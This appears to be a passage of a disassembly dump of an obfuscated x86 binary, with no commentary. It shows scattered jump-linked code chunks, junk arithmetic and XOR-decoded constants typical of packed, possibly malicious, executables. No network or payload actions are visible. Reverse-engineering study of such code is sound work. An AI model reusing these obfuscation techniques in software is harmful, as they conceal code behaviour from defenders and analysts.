BYTES push ebp mov ebp, esp jns sub_4289B2 add esp, 0FFFFFED8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424C76 sub_4279ED endp ; =============== S U B R O U T I N E ======================================= sub_427A07 proc near ; DATA XREF: hjohnhn9:004237CDo cmp dword ptr [ebp-8], 0 jz loc_42909E sub_427A07 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426354 loc_427A11: ; CODE XREF: sub_426354+AB9j ; hjohnhn9:00429098j js loc_426302 cmp dword ptr [ebp-1Ch], 0Fh jmp loc_42323C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov ecx, [edx] mov edi, edx ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427A24: ; CODE XREF: sub_4278DC-3B82j jmp sub_428CAF ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- not ebx jmp sub_428D1E ; =============== S U B R O U T I N E ======================================= sub_427A30 proc near ; CODE XREF: sub_426B29:loc_427D8Ep mov eax, 0A0h retn sub_427A30 endp ; =============== S U B R O U T I N E ======================================= sub_427A36 proc near ; CODE XREF: sub_427A58-3B42p ; sub_427E85-3CF7p ... ; FUNCTION CHUNK AT 004262A3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042888D SIZE 00000005 BYTES js sub_4278F6 push ebp mov ebp, esp jmp loc_4262A3 sub_427A36 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427A44: ; CODE XREF: sub_423B05:loc_4233E1j add eax, ebp add eax, 48CFDDBEh mov eax, [eax] push offset loc_423D87 jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_427A58 proc near ; CODE XREF: hjohnhn9:004266C7j ; sub_4284CB-507p ; FUNCTION CHUNK AT 00423F10 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax mov eax, offset dword_425AEC jmp loc_423F10 sub_427A58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_427A69: ; CODE XREF: sub_426BD2:loc_4235C4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426BD2 ; --------------------------------------------------------------------------- loc_427A6C: ; CODE XREF: hjohnhn9:004235B7j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_426B63 ; START OF FUNCTION CHUNK FOR sub_427B7A loc_427A79: ; CODE XREF: sub_427B7A+4j jmp loc_426B5A ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427A7E: ; CODE XREF: sub_423BC3+60Aj jz loc_428FAE shl ebp, 1Bh jmp loc_428F9F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- push ebx mov ebx, ebp xchg ebx, [esp] mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423145 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427A9C: ; CODE XREF: sub_4265CD-257Cj jnz loc_42352D ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_427C53 loc_427AA2: ; CODE XREF: sub_427C53+9j jmp sub_426F85 ; END OF FUNCTION CHUNK FOR sub_427C53 ; --------------------------------------------------------------------------- ror ebp, 19h xor ebp, 0D5414480h jmp loc_42352B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_427AB5: ; CODE XREF: sub_426354+24A4j jnz loc_428BAC jmp loc_423451 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_427AC0 proc near ; CODE XREF: hjohnhn9:004237DDj ; sub_42325E:loc_424261p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042390C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423B3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424251 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424703 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424D04 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425C3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426393 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004283A1 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx push ecx push 8CD3AF68h jmp loc_426393 sub_427AC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_427ACF: ; CODE XREF: sub_424A28+3FA3j jz sub_42677F jmp loc_4284A7 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- xor edx, 31C7C26Fh and ebp, 901DEA2Fh jmp sub_425BF2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AEB proc near ; CODE XREF: sub_426749-300Dp ; sub_427C9B-2197p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp jz sub_424377 add esp, 0FFFFFFF8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424491 sub_427AEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_427B02: ; CODE XREF: sub_42841F:loc_423810j cdq test eax, 0C9C7E8BAh jmp loc_426588 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_427B0E: ; CODE XREF: sub_424819:loc_426A09j xor eax, 4E22A3B1h add eax, ebp call sub_423FB9 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427B1B: ; CODE XREF: sub_426A78:loc_4279B6j push 0FA814B42h pop eax xor eax, 0CA5BD9A7h rol eax, 11h test eax, 200000h jmp loc_423D47 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427B35: ; CODE XREF: sub_4278DC-3B7Aj push 0BCDFDBAAh mov ecx, ebp loc_427B3C: ; CODE XREF: sub_4278DC:loc_424BA3j call sub_424877 mov edx, 4CB976E9h call sub_4279ED push eax jmp loc_423785 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_427B51 proc near ; CODE XREF: hjohnhn9:00423EB2j ; sub_426354-51Fp ; FUNCTION CHUNK AT 00428174 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov [ebp-8], eax loc_427B58: ; CODE XREF: sub_426354:loc_4262EBj ; sub_426354-4Ej js loc_428174 test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4241D2 sub_427B51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427B6D: ; CODE XREF: hjohnhn9:00426250j jnb loc_424A5E cmp edi, ecx jmp loc_426632 ; =============== S U B R O U T I N E ======================================= sub_427B7A proc near ; CODE XREF: hjohnhn9:00424B7Bj ; hjohnhn9:00428CA5p ; FUNCTION CHUNK AT 00426B5A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042856C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jmp loc_427A79 sub_427B7A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_4263C7 loc_427B88: ; CODE XREF: hjohnhn9:004268CEj jmp loc_428A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427B8D: ; CODE XREF: sub_426F5A-1E18j jmp loc_427339 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427B92: ; CODE XREF: sub_423CCD+9j jmp loc_4271DA ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427B97: ; CODE XREF: sub_425CB3-246Dj jmp loc_4267AC ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427B9C: ; CODE XREF: sub_423CDB+3A9j ; sub_423CDB:loc_426B13j ... call sub_424877 push 96560501h xchg ebx, [esp+0] mov edx, ebx pop ebx jmp loc_425EFB ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_427BB2: ; CODE XREF: hjohnhn9:loc_425D60j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427BB3: ; CODE XREF: sub_4248F9+6j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_427BB5: ; CODE XREF: hjohnhn9:004268D5j mov eax, [ebp-4] call sub_428838 ; START OF FUNCTION CHUNK FOR sub_42325E loc_427BBD: ; CODE XREF: sub_42325E:loc_423265j jz loc_428B4C adc ebx, 3722B6D7h jmp loc_426FE2 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BCE proc near ; DATA XREF: sub_4230F2+1o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427380 SIZE 0000000B BYTES mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_428B08 or eax, eax jmp loc_427380 sub_427BCE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_427BE6: ; CODE XREF: sub_424161+15j mov eax, [ebp-20h] call sub_426C1C loc_427BEE: ; CODE XREF: sub_42466E-635j jmp loc_42458F ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427BF3: ; CODE XREF: sub_423B05:loc_423A2Bj ; sub_42387A:loc_4270E3j add eax, 132B10CCh add eax, ebp loc_427BFB: ; CODE XREF: sub_423B05:loc_423648j add eax, 0EE6D4C16h mov eax, [eax] push eax call sub_4237F4 jmp loc_4238B5 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ror esi, 11h sbb edx, esi jmp sub_4289A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_427C18: ; CODE XREF: sub_4262C5:loc_4264EBj add [ebp-0Ah], al xor eax, eax mov al, [ebp-0Ah] shr eax, 4 xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] loc_427C2C: ; CODE XREF: hjohnhn9:loc_428A5Bj jmp loc_42761C ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_427C31: ; DATA XREF: sub_4278EC-4DAo cmp al, 0A4h jnz loc_427D5C jmp loc_4274AD ; --------------------------------------------------------------------------- jmp loc_427D5C ; =============== S U B R O U T I N E ======================================= sub_427C43 proc near ; CODE XREF: sub_428183-4E4Aj ; hjohnhn9:00424305p ... push offset loc_424B1C jmp nullsub_37 sub_427C43 endp ; --------------------------------------------------------------------------- loc_427C4D: ; CODE XREF: hjohnhn9:004237B8j mov ds:dword_4252D0, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C53 proc near ; CODE XREF: sub_426D17-3817p ; hjohnhn9:0042379Fp ... ; FUNCTION CHUNK AT 00427AA2 SIZE 00000005 BYTES push ebp mov ebp, esp jno sub_428D0E jmp loc_427AA2 sub_427C53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427C61: ; CODE XREF: sub_427C9B-359Ej mov eax, ebp loc_427C63: ; CODE XREF: sub_427C9B:loc_423433j xor ecx, 0BCAAC869h cmp ecx, 0FCF34Fh jmp loc_424512 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- loc_427C74: ; DATA XREF: sub_4269BD-28A0o mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax jmp loc_428368 ; --------------------------------------------------------------------------- sub ebx, ecx cmp esi, 63D9B48Bh jmp loc_425DDE ; --------------------------------------------------------------------------- loc_427C99: ; CODE XREF: hjohnhn9:00426045j xor esi, ecx ; =============== S U B R O U T I N E ======================================= sub_427C9B proc near ; CODE XREF: sub_424161+2506p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423433 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423771 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424208 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424496 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042451C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004246A8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004246F4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424F76 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425AF0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004260C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426176 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426870 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DFA SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00427195 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00427C61 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427E76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042858D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004289DB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428E0C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429050 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429112 SIZE 0000000A BYTES xchg edi, [esp+4+var_4] pop edi add eax, ebp add eax, 9A0058C7h jmp loc_427D2F ; --------------------------------------------------------------------------- not eax jmp loc_426DFA ; --------------------------------------------------------------------------- loc_427CB3: ; CODE XREF: hjohnhn9:loc_426E70j jge loc_4246AB loc_427CB9: ; CODE XREF: sub_426A78-18EBj jmp loc_4260C3 ; --------------------------------------------------------------------------- jbe loc_42627F jmp loc_4246A8 ; --------------------------------------------------------------------------- xchg eax, [edx] jmp sub_4246DB ; --------------------------------------------------------------------------- loc_427CD0: ; DATA XREF: sub_427DE6-1993o push eax push 0 call sub_424345 loc_427CD8: ; DATA XREF: sub_425EA9-169Do or eax, eax jnz locret_427CE5 loc_427CE0: ; CODE XREF: sub_425EA9:loc_424801j call sub_425B19 locret_427CE5: ; CODE XREF: sub_427C9B+3Fj retn ; --------------------------------------------------------------------------- loc_427CE6: ; CODE XREF: hjohnhn9:loc_428626j jl loc_42719E loc_427CEC: ; CODE XREF: sub_426523+1F45j jmp nullsub_79 ; --------------------------------------------------------------------------- js loc_42323C jmp loc_427195 ; --------------------------------------------------------------------------- loc_427CFC: ; CODE XREF: sub_424698:loc_427657j sub edx, 386F283Ah and edx, 7878DEA8h add edx, 7B703C08h call sub_4279ED loc_427D13: ; CODE XREF: sub_42325E:loc_4231DAj push eax jmp loc_424208 ; --------------------------------------------------------------------------- loc_427D19: ; CODE XREF: sub_4250FC-1FDCj test ecx, 400000h jmp loc_427E76 ; --------------------------------------------------------------------------- loc_427D24: ; CODE XREF: sub_425B34:loc_425B43j sub esi, 0E320DB65h jmp loc_425AF0 ; --------------------------------------------------------------------------- loc_427D2F: ; CODE XREF: sub_427C9B+Cj mov eax, [eax] and dword ptr [eax+24h], 7FFFFFFFh push offset loc_426150 jmp nullsub_38 sub_427C9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427D42: ; CODE XREF: sub_4278EC:loc_4279E8j jnz loc_4243F7 call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax loc_427D5C: ; CODE XREF: sub_426D6A:loc_426D87j ; hjohnhn9:00427C33j ... mov esp, ebp pop ebp push ds:dword_423944 jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= sub_427D6A proc near ; DATA XREF: sub_424EC9+3B67o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004231A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425121 SIZE 0000001B BYTES push 87648E19h pop edi and edi, 36F77563h sub edi, 1D14370Fh jmp loc_4231A3 sub_427D6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_427D81: ; CODE XREF: sub_427564-3ABAj test ecx, edi jmp loc_428906 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427D89: ; CODE XREF: sub_424631+2302j jmp loc_424F28 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B29 loc_427D8E: ; CODE XREF: sub_426B29-1896j ; sub_426B29-188Aj call sub_427A30 push offset loc_427619 jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_426B29 ; =============== S U B R O U T I N E ======================================= sub_427D9D proc near ; DATA XREF: sub_424631:loc_428DD1o ; FUNCTION CHUNK AT 00424ED3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004264BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042838D SIZE 00000005 BYTES mov eax, [ebp+8] test byte ptr [eax-10h], 38h jnz loc_423F3D mov eax, [ebp+8] push eax jmp loc_424ED3 sub_427D9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427DB3: ; CODE XREF: sub_424631:loc_424F09j jnz loc_423662 mov eax, [ebp+8] push offset loc_425BA2 jmp loc_42839C ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427DC7: ; CODE XREF: sub_42466E+A35j jmp loc_42424B ; END OF FUNCTION CHUNK FOR sub_42466E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_427DCD: ; CODE XREF: sub_42855B+6j jmp sub_4230F2 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_427DD2: ; CODE XREF: sub_4237F4:loc_426B24j pop ebp mov eax, ds:dword_4233A4 or eax, eax jnz loc_42680E jmp loc_426B2F ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_427DE6 proc near ; CODE XREF: sub_427564-2F8Aj ; sub_427564:loc_426FE9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425F06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426449 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004264B2 SIZE 00000005 BYTES push ebx push 98984D98h pop ebx and ebx, 6D900BAh rol ebx, 1Ch add ebx, 6AE0741Ah xor ebx, 0EAE9D433h xchg ebx, [esp+4+var_4] jmp loc_425F06 sub_427DE6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427E0A: ; CODE XREF: sub_424EC9:loc_4262D5j mov eax, ebx xchg eax, [esp+0] mov [ebp-4], eax push 0DBABFA75h pop eax xor eax, 2DBE023Ah add eax, 31B1A774h or eax, ds:4000F3h jmp loc_427298 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_427E2F: ; DATA XREF: sub_4246DB+8o mov esp, ebp pop ebp mov eax, ds:dword_4233AC or eax, eax jmp loc_4261EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_427E3F: ; CODE XREF: sub_427032:loc_424491j mov edx, [ebp-8] mov eax, [ebp-4] loc_427E45: ; CODE XREF: sub_4263E3:loc_425056j call sub_426B29 call sub_424361 loc_427E4F: ; CODE XREF: sub_428E76+1Cj jmp loc_426847 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_427E54 proc near ; DATA XREF: sub_428DDB+9o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423E31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424127 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428EE5 SIZE 00000006 BYTES cdq add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_424127 sub_427E54 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ebx, 6BB8CAEFh jmp loc_424816 ; --------------------------------------------------------------------------- locret_427E75: ; CODE XREF: hjohnhn9:0042672Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427E76: ; CODE XREF: sub_427C9B+84j jmp loc_423433 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_427E7B proc near ; CODE XREF: sub_424AE3+Cp ; FUNCTION CHUNK AT 00426C6F SIZE 00000005 BYTES push offset dword_424E24 jmp loc_426C6F sub_427E7B endp ; =============== S U B R O U T I N E ======================================= sub_427E85 proc near ; CODE XREF: hjohnhn9:004233CEj ; sub_426F5A:loc_426BA8p ; FUNCTION CHUNK AT 0042418D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426E75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427475 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax jz loc_427475 lea eax, [ebp-125h] jmp loc_42418D sub_427E85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, eax call sub_4275B2 ; START OF FUNCTION CHUNK FOR sub_426475 loc_427EA1: ; CODE XREF: sub_426475-436j jmp loc_426E9B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235D8 loc_427EA6: ; CODE XREF: sub_4235D8+Bj mov ds:dword_423940, eax ; END OF FUNCTION CHUNK FOR sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427EAB: ; CODE XREF: hjohnhn9:loc_423C44j ; sub_427A36-178Bj ... js loc_42382E cmp ds:dword_423944, 0 jnz loc_4243F7 push offset loc_423815 jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427EC8: ; CODE XREF: sub_428271:loc_4281ACj jnz loc_428EF2 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] push offset sub_428DDB jmp loc_427F5A ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427EE2: ; CODE XREF: sub_423B05:loc_425E64j add ebp, 0CC738441h add esi, 5BCE1CEAh cmp edx, ecx jmp loc_423648 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_427EF5: ; CODE XREF: hjohnhn9:00424CBAj jo loc_427085 ; START OF FUNCTION CHUNK FOR sub_42851A loc_427EFB: ; CODE XREF: sub_42851A-3617j add ebx, 7E1A2B03h xchg ebx, [esp+0Ch+var_C] jmp loc_424603 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- loc_427F09: ; CODE XREF: hjohnhn9:loc_424941j xor edx, 0F82B8AEDh push edx ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427F10: ; CODE XREF: sub_4263E3:loc_428A14j push esi mov esi, eax xchg esi, [esp+4+var_4] call sub_42855B call sub_4262C5 add esp, 10h jmp loc_4265E9 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- sbb edx, 0F867FFC7h jmp sub_428718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42677F loc_427F33: ; CODE XREF: sub_42677F:loc_423C56j mov edx, ecx xchg edx, [esp+14h+var_14] mov eax, esp ; END OF FUNCTION CHUNK FOR sub_42677F ; START OF FUNCTION CHUNK FOR sub_424819 loc_427F3A: ; CODE XREF: sub_424819+6j push 0 mov edx, esp jmp loc_4272E4 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427F43 proc near ; CODE XREF: sub_4262C5:loc_4251E6j retn sub_427F43 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F44: ; CODE XREF: sub_426638-352Fj jmp loc_426139 ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F49: ; CODE XREF: hjohnhn9:0042301Cj ; hjohnhn9:004267A1j jmp loc_426B9C ; --------------------------------------------------------------------------- loc_427F4E: ; CODE XREF: hjohnhn9:loc_427FE8j jz loc_428BA0 jmp loc_4273DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427F5A: ; CODE XREF: sub_428271-395j jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F5F: ; CODE XREF: sub_426638+Bj jmp loc_4230FD ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F64: ; CODE XREF: hjohnhn9:00428FE7j jz loc_42476D jmp loc_423075 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427F70: ; CODE XREF: sub_4278DC+Bj jmp loc_428FEC ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_427F75: ; CODE XREF: sub_424564+15j jmp loc_426402 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- ror ebp, 11h jmp sub_424E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_427F82: ; CODE XREF: sub_427852:loc_425156j dec dword ptr [ebp-1Ch] jnz loc_426AA2 jmp loc_428883 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F90 proc near ; CODE XREF: sub_4278B9-44A1p ; sub_4241F3+7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042440F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428496 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428F6C SIZE 00000022 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_4275E4 sub_427F90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427FA4: ; CODE XREF: sub_4231AD:loc_4265C8j mov al, [ebp-5] pop ecx pop ecx pop ebp jmp loc_4249DC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427FAF: ; CODE XREF: sub_4265CD:loc_426B68j cmp ecx, 5E24A82Eh loc_427FB5: ; CODE XREF: hjohnhn9:00424139j jmp loc_425D6F ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_427FBA: ; CODE XREF: sub_4284CB:loc_425B97j call nullsub_5 loc_427FBF: ; CODE XREF: sub_4240E6+Bj ; sub_428ABB+7j mov eax, ds:dword_426E3C call sub_427A58 loc_427FC9: ; CODE XREF: sub_424564+1EC4j jmp loc_426559 ; END OF FUNCTION CHUNK FOR sub_4284CB ; =============== S U B R O U T I N E ======================================= sub_427FCE proc near ; CODE XREF: sub_424A78:loc_427800j push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx jmp loc_4241DB sub_427FCE endp ; =============== S U B R O U T I N E ======================================= sub_427FDD proc near ; DATA XREF: sub_4263E3:loc_4290A8o push eax ror eax, 0Eh mov ds:dword_42339C, eax retn sub_427FDD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427FE8: ; CODE XREF: hjohnhn9:004236DFj jmp loc_427F4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427FED: ; CODE XREF: sub_4263E3+8j rol eax, 0Eh jmp loc_4250A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_427FF5: ; CODE XREF: sub_4279C0-15FEj mov al, 1 pop edx call edx ; GetModuleHandleA xor eax, eax mov 